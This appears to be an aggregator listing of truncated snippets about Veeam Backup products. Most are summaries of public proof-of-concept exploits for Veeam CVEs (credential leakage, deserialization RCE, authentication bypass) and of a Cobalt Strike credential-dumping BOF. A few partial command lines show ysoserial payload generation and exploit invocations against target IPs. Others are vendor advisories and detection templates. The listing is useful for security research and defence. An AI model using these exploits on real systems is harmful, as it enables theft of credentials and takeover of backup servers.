CVE-2023-27532

CVE-2023-27532 CVE-2023-27532 に影響を受ける Veeam Backup and Replication の PoC 技術的分析 脆弱性の技術的な根本原因分析は、次のブログでご覧いただけます: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive 概要 この PoC は、安全でない API エンドポイントを悪用して認証情報を抽出します。 使用方法 root@kitploit:...

CVE-2023-27532

CVE-2023-27532 CVE-2023-27532 を悪用して、平文の資格情報を漏えいさせるか、リモートコマンド実行を行う Proof of Concept コードです。 概要 脆弱性と悪用の詳細な分析については、Rapid7 の AttackerKB 分析 をお読みください。 ビルド Visual Studio で開きます。Veeam.Backup.Common.dll、Veeam.Backup.Interaction.MountService.dll、Veeam.Backup.Model.dll への参照を追加または更新する必要があります。簡単にするには、開発マシンに Vee...

CVE-2024-29849

CVE-2024-29849 Veeam Backup Enterprise Manager 認証バイパス CVE-2024-29849 by SummoningTeam @SummoningTeam の Sina Kheirkhah @SinSinology 技術分析 この脆弱性の根本原因分析は私のブログで公開されています 概要 サポートされているバージョン? Veeam の公式アドバイザリによると、Veeam Backup Enterprise Manager 12.1.2.172 より前のすべてのバージョンが影響を受けます 使用方法 まず、ローカル HTTPS...

CVE-2024-40711-Exp

使用法 root@kitploit: .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" root@kitploit: Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp,...

VeeamDumper-BOF

Veeam Dumper BOF Stephen Munro 氏と Logan Kroeger 氏（@MWRCyberSec）による、Veeam Backup and Replication および Veeam One 向けの資格情報抽出 BOF です。この BOF は、Veeam One または Veeam Backup and Replication サーバー上の Admin ビーコンで実行する必要があり、Cobalt Strike および Outflank C2 をサポートしています。 root@kitploit: tldr; The BOF uses...

CVE-2026-44963

CVE-2026-44963 — Veeam Backup & Replication RCE 研究リポジトリ bySentinelX — 許可されたセキュリティテストおよび防御目的に限ります。 概要 フィールド| 詳細 ---|--- CVE ID| CVE-2026-44963 ベンダー| Veeam 製品| Backup & Replication 影響を受けるバージョン| 12.3.2.4854 すべてのv12ビルド 修正バージョン| 12.3.2.4854 CVSS v4 スコア| 9.4 — 重大 CVSS v3 スコア| 8.8 — 高 CWE| CWE-502...

Veeam Backup & Replication - Unauthenticated

A deserialization of untrusted data vulnerability with a malicious payload can allow an unauthenticated remote code execution RCE. id: CVE-2024-40711 info: name: Veeam Backup & Replication - Unauthenticated author: rootxharsh,iamnoooob,DhiyaneshDK severity: critical description: | A deserializati...

CVE-2023-27532-RCE-Only

フォーク版 RCE Only フォークしたリポジトリから認証情報漏洩部分を削除し、コンパイルの修正を適用しました。 CVE-2023-27532 CVE-2023-27532を悪用して、平文の認証情報を漏洩させるか、リモートコマンド実行を行うためのProof of Conceptコードです。 概要 脆弱性とその悪用の詳細な分析については、Rapid7のAttackerKB Analysisをお読みください。 ビルド Visual...

veeam-velociraptor

Veeam Backup & Replication Velociraptor アーティファクト - PoC このリポジトリには、リモートの Veeam Backup & Replication フォレンジックパイプラインの概念実証として、Velociraptor アーティファクトのコレクションが含まれています。 artifacts/ にはアーティファクト定義が含まれています。 tools/ には、Windows.QEMU.ImgConvert で使用できる qemu-img.zip アーカイブが含まれています。 詳細は、関連するブログ記事を参照してください:...

veeam-cve-2023-27532-mock

CVE-2023-27532 - Veeam Backup & Replication 漏洞 漏洞描述 Veeam Backup & Replication 存在一个漏洞，可获取存储在配置数据库中的加密凭据，从而使攻击者能够访问备份基础设施主机。 Nuclei 模板 模板 veeam-cve-2023-27532.yaml 提供了使用多种检测方法对该漏洞进行全面的检测。 测试环境搭建 使用 Docker（推荐） root@kitploit: 构建 Docker 镜像 docker build -t veeam-cve-test . 运行容器 docker run -p 8080:8080...

CVE-2024-40711

CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigg...

CVE-2026-32996

CVE-2026-32996 認証済みドメインユーザーによるバックアップサーバー上のVeeamリモートコード実行（RCE）。 技術的な詳細についてはブログ記事を確認してください。 https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7 PoC root@kitploit: CVE-2026-32996.exe "whoami C:\pwned.txt" + Found Svc.VeeamEndpointBackup.log Searching for valid GUIDs... +...

Release Information for Veeam Backup for Microsoft 365 8.6

Requirements This release can be used to: upgrade an existing v8, v8.1, v8.2, v8.3, v8.4, or v8.5 deployment of Veeam Backup for Microsoft 365 to v8.6. install a new deployment of Veeam Backup for Microsoft 365 v8.6. After installing this release, the Veeam Backup for Microsoft 365 build number...

PT-2026-82276

『A vulnerability that causes guest OS credentials used for Application Aware processing to be recorded in cleartext in logs on the guest machine.』 CVE-2026-58070 Severity: Medium KB4902: Vulnerability Resolved in Veeam Backup & Replication 13.1 https://t.co/FR1ctYoEZc...

Release Information for NetApp ONTAP Plug-In for Veeam Backup & Replication

This plug-in leverages the Veeam Universal Storage API, which enables storage OEMs to allow Veeam Backup & Replication integration to the arrays for backup and replication jobs. Requirements Before installing NetApp ONTAP Plug-In v2.0.14, ensure that you are running at least Veeam Backup &...

Vulnerability Resolved in Veeam Backup & Replication 13.1

Veeam Software Security Commitment Veeam® is committed to ensuring its products protect customers from potential risks. As part of that commitment, we operate a Vulnerability Disclosure Program VDP for all Veeam products and perform extensive internal code audits. When a vulnerability is...

Exploit for CVE-2025-40123

Patch: CVE-2025-40123 Vulnerability Details - CVE: CVE...

How to Apply Custom Settings in Veeam Backup for Microsoft 365 Using Set-VBOConfigurationParameter

Purpose This article explains how to use the Set-VBOConfigurationParameter cmdlet to apply a custom configuration setting within a Veeam Backup for Microsoft 365 deployment. Solution How the Scripts in This Article Are Used Every script in this article begins with the same three variables, which...

How to Export Veeam Backup for Salesforce Data to Cloud or Local Storage

This article was updated on 2026-08-21 to document the new vbsf-export 1.0.0-27, which introduces support for export to local storage in addition to the previous cloud-only destinations. Purpose This article covers vbsf-export, a standalone utility that exports Salesforce backup data from a Veeam...

"Warning: Exchange account was not found"

Challenge When backing up Exchange Online mailboxes, Veeam Backup for Microsoft 365 intermittently fails to discover and process some mailboxes, reporting the following warning: Warning: Exchange account was not found The affected mailboxes vary between job runs, and in some cases, only a small...